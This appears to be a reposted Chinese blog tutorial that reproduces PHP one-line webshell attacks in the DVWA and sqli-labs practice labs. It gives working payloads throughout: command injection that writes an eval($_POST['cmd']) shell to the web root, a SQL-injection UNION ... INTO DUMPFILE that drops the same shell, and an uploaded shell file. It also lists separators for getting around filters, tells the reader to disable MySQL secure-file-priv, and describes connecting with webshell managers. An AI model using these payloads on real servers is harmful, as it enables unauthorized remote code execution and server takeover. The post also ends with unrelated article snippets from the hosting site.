一句话木马攻击复现:揭示黑客入侵的实战过程

news2024/12/22 23:17:05

准备环境

  • OWASP虚拟机
  • xfp 7与xshell 7

​ 

  • DVWA系统默认的账号密码均为:admin/admin 

1、命令注入中复现

攻击payload

127.0.0.1 | echo "<?php @eval(\$_POST[\"cmd\"])?>" > /var/www/shell.php

这个命令的目的是在服务器上创建一个名为 shell.php 的文件,其中包含 PHP 代码。让我们逐步分析该命令:

  • 127.0.0.1: 这是一个IP地址(本地回环地址),代表要连接的目标主机。

  • |:管道符号,用于将前一个命令的输出作为后一个命令的输入。

  • echo "<?php @eval(\$_POST[\"cmd\"])?>": 这是一个echo命令,它将字符串 <?php @eval(\$_POST["cmd"])?> 输出到标准输出。

  • >:重定向操作符,将前一个命令的输出写入到后一个命令指定的文件中。

  • /var/www/shell.php:这是目标文件路径,表示要将输出写入到 /var/www/ 目录下的名为 shell.php 的文件。

综上所述,如果成功执行此命令,则会在服务器的 /var/www/ 目录下创建一个名为 shell.php 的文件,并将 <?php @eval(\$_POST["cmd"])?> 的内容写入到该文件中。由于该PHP代码使用了 eval 函数,它会执行用户在 POST 请求(通过 cmd 参数)中输入的命令。

下面是一些常见的命令连接符及其作用:(如果管道符“|”被过滤了就可以使用其他的代替)
  1. &:将两个命令并行执行,无论前一个命令是否成功。

  2. &&:只有当前一个命令成功执行时,才会执行后一个命令。

  3. |:将前一个命令的输出作为后一个命令的输入。

  4. ||:只有当前一个命令执行失败时,才会执行后一个命令。

复现

在靶机中查看木马文件 

最后就能在靶机看到我们的文件了,我们的文件保存在/var/www/目录下,查看方法:

  • cd  /var/www/    ->  ls          # 之后就能看到/var/www/下的文件信息

我跟喜欢使用xfp 7与xshell 7来输入命令与查看文件

使用蚁剑或菜刀连接木马

​ 

成功进入目标文件管理界面,攻击复现成功

注意:虽然我们的shell.php木马文件存放在/var/www/目录下,但是我们连接只需要使用靶机IP+文件名即可。因为Web服务器已经将根目录设置为 /var/www/,所以不需要在 URL 中显式指定该目录。只需使用 http://<IP地址>/文件名 的格式即可访问该文件。

2、SQL注入中复现

攻击payload

-1 union select 1,1,"<?php @eval(\$_POST[\"cmd\"])?>" into dumpfile "F:\\phpStudy\\PHPTutorial\\WWW\\shell.php" --
  • UNION SELECT 1,1,"<?php @eval(\$_POST[\"cmd\"])?>":这是一个 UNION SELECT 查询,它将会返回两列。第一列是数字 1,第二列是数字 1,第三列是 PHP 代码 <?php @eval(\$_POST["cmd"])?>。这段代码是恶意的,它尝试执行通过 POST 请求传递的 cmd 参数作为代码进行执行。
  • INTO DUMPFILE "F:\\phpStudy\\PHPTutorial\\WWW\\shell.php":这个部分尝试将查询结果保存到指定的文件路径 F:\\phpStudy\\PHPTutorial\\WWW\\shell.php 中。这将会创建一个名为 shell.php 的文件,并将查询结果写入其中。
  • --:这是 SQL 中的注释符号,表示注释掉后续的内容。

总的来说,该语句的目的是将恶意代码写入到 F:\\phpStudy\\PHPTutorial\\WWW\\shell.php 文件中,以便在攻击者控制的环境中执行该代码。这种攻击常用于获取未经授权的访问权限、控制目标服务器或进行其他恶意活动。

复现(我这里用sqlilabs靶场

安装:详细安装sqlmap详细教程_sqlmap安装教程_mingzhi61的博客-CSDN博客 

安装完成后打开:http://127.0.0.1/sqlilabs/Less-2/?id=1

本来我是用DVWA靶场复现的搞了半天都搞不定一直提示“用户“dvwa”@“%”的访问被拒绝(使用密码:YES)”解决不了换靶场 

1)先判断显示位(测试是否存在SQL注入)

-1 union select 1,2,3 -- -

命令可以使用插件 HackBar 来发送也可以直接粘贴到网络的url中执行(工具本文开头的环境准备可以下载) 

2)再判断路径(判断MysQL的存储路径方便我们写入一句话马)

-1 union select 1,@@datadir,3 -- -

3)写入WebShell

-1 union select 1,1,"<?php @eval(\$_POST[\"cmd\"])?>" into dumpfile "F:\\phpStudy\\PHPTutorial\\WWW\\shell.php" --

代码执行只要不报错就行成功了

注意:MySQL 服务器默认情况使用了 --secure-file-priv 选项,限制了 INTO OUTFILE 的功能。

解决:你可以尝试以下步骤:

  • 打开 phpStudy 的安装目录,找到 my.ini(或 my.cnf)配置文件。
  • 在配置文件中找到 [mysqld] 部分。
  • 在 [mysqld] 部分添加或修改下列行:
[mysqld] secure-file-priv=""
  • 保存配置文件,并重启 phpStudy 中的 MySQL 服务器。

通过将 secure-file-priv 设置为空字符串,你可以移除文件路径限制,允许使用 INTO OUTFILE 语句将查询结果输出到任意位置。

连接

参考文章:SQL注入篇——一句话木马_sql注马语句_admin-r꯭o꯭ot꯭的博客-CSDN博客 

3、文件上传漏洞中复现

攻击payload

准备一个木马文件如:cmd.php

<?php @eval($_POST["cmd"])?>

复现

连接

主机IP+/dvwa/hackable/uploads/cmd.php

# 注意路径前面要加上dvwa,因为我们是在dvwa靶场上实验的,在虚拟机的WWW目录下有很多个靶场所以我们要指定靶场

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/914315.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

从一些常见的错误聊聊mysql服务端的关键配置 | 京东云技术团队

背景 每一年都进行大促前压测&#xff0c;每一次都需要再次关注到一些基础资源的使用问题&#xff0c;订单中心这边数据库比较多&#xff0c;最近频繁报数据库异常&#xff0c;所以对数据库一些配置问题也进行了研究&#xff0c;本文给出一些常见的数据库配置&#xff0c;说明…

聚类分析 | MATLAB实现GMM高斯分布混合模型的聚类结果可视化

聚类分析 | MATLAB实现GMM高斯分布混合模型的聚类结果可视化 目录 聚类分析 | MATLAB实现GMM高斯分布混合模型的聚类结果可视化效果一览基本介绍程序设计参考资料 效果一览 基本介绍 聚类分析 | MATLAB实现GMM高斯分布混合模型的聚类结果可视化&#xff0c;GMM聚类&#xff0c;…

抖音短视频矩阵系统源码开发搭建技术开源分享

前言&#xff1a;抖音矩阵号/抖音短视频SEO矩阵系统源码开发&#xff0c;优化排名。 短视频获客系统支持短视频智能剪辑、短视频定时发布&#xff0c;短视频排名查询及优化&#xff0c;智能客服等&#xff0c;那么短视频seo系统开发时需要开发哪些功能呢&#xff1f;今天我就跟…

会计资料(借贷记账法、试算平衡)

6.借贷记账法 这样的格式是会计学家提出的。 6.1 借贷记账法的详细使用 这里要把会计的六大分类搞明白&#xff0c;才能够使用借贷记账法 6.2 借贷记账法的记账规则 6.3 借贷记账法下的账户与会计分录 6.4 会计分录的介绍 这里一笔会计分录只能写一笔经济业务&#xff0c;或者…

Android 面试之Glide做了哪些优化?

前言 Glide可以说是最常用的图片加载框架了&#xff0c;Glide链式调用使用方便&#xff0c;性能上也可以满足大多数场景的使用&#xff0c;Glide源码与原理也是面试中的常客。 但是Glide的源码内容比较多&#xff0c;想要学习它的源码往往千头万绪&#xff0c;一时抓不住重点.…

1079. 活字印刷;1593. 拆分字符串使唯一子字符串的数目最大;1814. 统计一个数组中好对子的数目

1079. 活字印刷 核心思想&#xff1a;回溯法&#xff0c;其实这题就是排列组合&#xff0c;只不过这题是每一个分支都要收集一次结果&#xff0c;然后去重。这里的代码用的是标准的used标记的方法。 1593. 拆分字符串使唯一子字符串的数目最大 核心思想&#xff1a;回溯。拆分…

ensp单臂路由

文章目录 单臂路由速览版本 单臂路由DHCP速览版本 单臂路由 速览版本 R1 # interface Ethernet0/0/0.10dot1q termination vid 10ip address 192.168.1.254 255.255.255.0arp broadcast enable # interface Ethernet0/0/0.20dot1q termination vid 20ip address 192.168.2.2…

你不能不知道的Mydatis扩展:动态sql以及模糊查询,结果映射!

一.Mydatis中的动态sql 1.Mydatis中的动态sql出现背景&#xff1f; 任何技术的出现都不是空穴来风&#xff0c;一切都是有迹可循的&#xff01;而动态sql同样如此&#xff01; 1.1传统sql语句 MyBatis 中出现动态 SQL 的背景是&#xff1a;为了解决传统 SQL 查询的静态性和硬…

vim 常见操作

Vim 工作模式 1、vim 三种基本的工作模式 vim有三种基本的工作模式&#xff0c;分别为&#xff1a;命令模式、末行模式、编辑模式。关于这三种工作模式的介绍&#xff0c;请见下文。 1.1、命令模式 使用vim打开文件之后&#xff0c;首先进入命令模式&#xff0c;它是vim编辑…

面试之快速学习STL-常用算法

1. 排序算法 sort() 函数是基于快速排序实现的&#xff0c;故不保证相对位置&#xff0c;但是stable_sort (first, last)保证&#xff0c;它基于归并排序。sort()只适用于支持随机迭代器的容器&#xff08;array, vector, deque&#xff09;&#xff0c;好理解&#xff0c;毕竟…

Mysql 开窗函数(窗口函数)

文章目录 全部数据示例1&#xff08;说明&#xff09;开窗函数可以比groupby多查出条件列外的字段&#xff0c;开窗函数主要是为了跟聚合函数一起使用&#xff0c;达到分组统计效果&#xff0c;并且开窗函数的结果集基本都是跟总行数一样示例2示例3示例4错误示例1错误示例2错误…

基于vue的小说阅读网/基于springboot的小说网站/阅读网站的设计与实现

摘 要 随着信息技术和网络技术的飞速发展&#xff0c;人类已进入全新信息化时代&#xff0c;传统管理技术已无法高效&#xff0c;便捷地管理信息。为了迎合时代需求&#xff0c;优化管理效率&#xff0c;各种各样的管理系统应运而生&#xff0c;各行各业相继进入信息管理时代&a…

学习设计模式之享元模式,但是宝可梦

前言 作者在准备秋招中&#xff0c;学习设计模式&#xff0c;做点小笔记&#xff0c;用宝可梦为场景举例&#xff0c;有错误欢迎指出。 享元模式 1 介绍 享元模式很好理解&#xff0c;它主要是为了减少创建对象的数量&#xff0c;属于结构型设计模式 目的&#xff1a;减少…

【第三阶段】kotlin语言的内置函数run

1.run函数返回类型是根据匿名函数最后一行的类型变化而变化 run 函数里面持有的是this fun main() {val info"kotlin is ok"var r info.run {true}println(r) }执行结果 2.run搭配具名函数 package Stage3fun main() {val info"kotlin is ok"var r info…

IAR编译报错 ErrorLi005]: no definition for

IAR编译报错 ErrorLi005]: no definition for… 具体报错如下图所示&#xff1a; 错误原因&#xff1a;出现此问题是由于没有写 VehicleDriveStatusCheck 此功能函数&#xff0c;而程序中其他地方调用此函数而导致的错误 解决措施&#xff1a;编写 VehicleDriveStatusCheck …

docker的安装以及基本操作

一.认识docker Docker是一种用于构建、打包和运行应用程序的开源平台。它基于操作系统级虚拟化技术&#xff0c;可以将应用程序和其依赖的库、环境等资源打包到一个可移植的容器中&#xff0c;形成一个轻量级、独立的可执行单元。 开发者在本地编译测试通过的容器可以批量地在…

Win 7 修改开机密码,使用F8修复提前终止导致蓝屏

前言 一台win7一体机密码突然不对&#xff0c;也不知道怎么回事就登录不了 使用PE中的NTPWEdit查看修改密码&#xff0c;没有用户列表 步骤 正常启动或者按F8&#xff0c;选择修复 正常电脑如下显示 这种可以直接使用PE改密码&#xff0c;就不放图了 问题电脑如下显示…

kafka--技术文档--基本docker中安装<单机>-linux

安装zookeeper 阿丹小科普&#xff1a; Kafka在0.11.0.0版本之后不再依赖Zookeeper&#xff0c;而是使用基于Raft协议的Kafka自身的仲裁机制来替代Zookeeper。具体来说&#xff0c;Kafka 2.8.0版本是第一个不需要Zookeeper就可以运行Kafka的版本&#xff0c;这被称为Kafka Raf…

C#详解-Contains、StartsWith、EndsWith、Indexof、lastdexof

目录 简介: 过程: 举例1.1 举例1.2 ​ 总结: 简介: 在C#中Contains、StarsWith和EndWith、IndexOf都是字符串函数。 1.Contains函数用于判断一个字符串是否包含指定的子字符串&#xff0c;返回一个布尔值&#xff08;True或False&#xff09;。 2.StartsWith函数用于判断一…

Vue Element upload组件和Iview upload 组件上传文件

今天要分享的是使用这俩个UI组件库的upload组件分别实现调用组件本身的上传方法实现和后台交互。接下来就是开车的时间&#xff0c;请坐稳扶好~ 一、element upload组件传送门 1、html文件 <el-upload ref"uploadRef" :action"uploadUrl" :data"…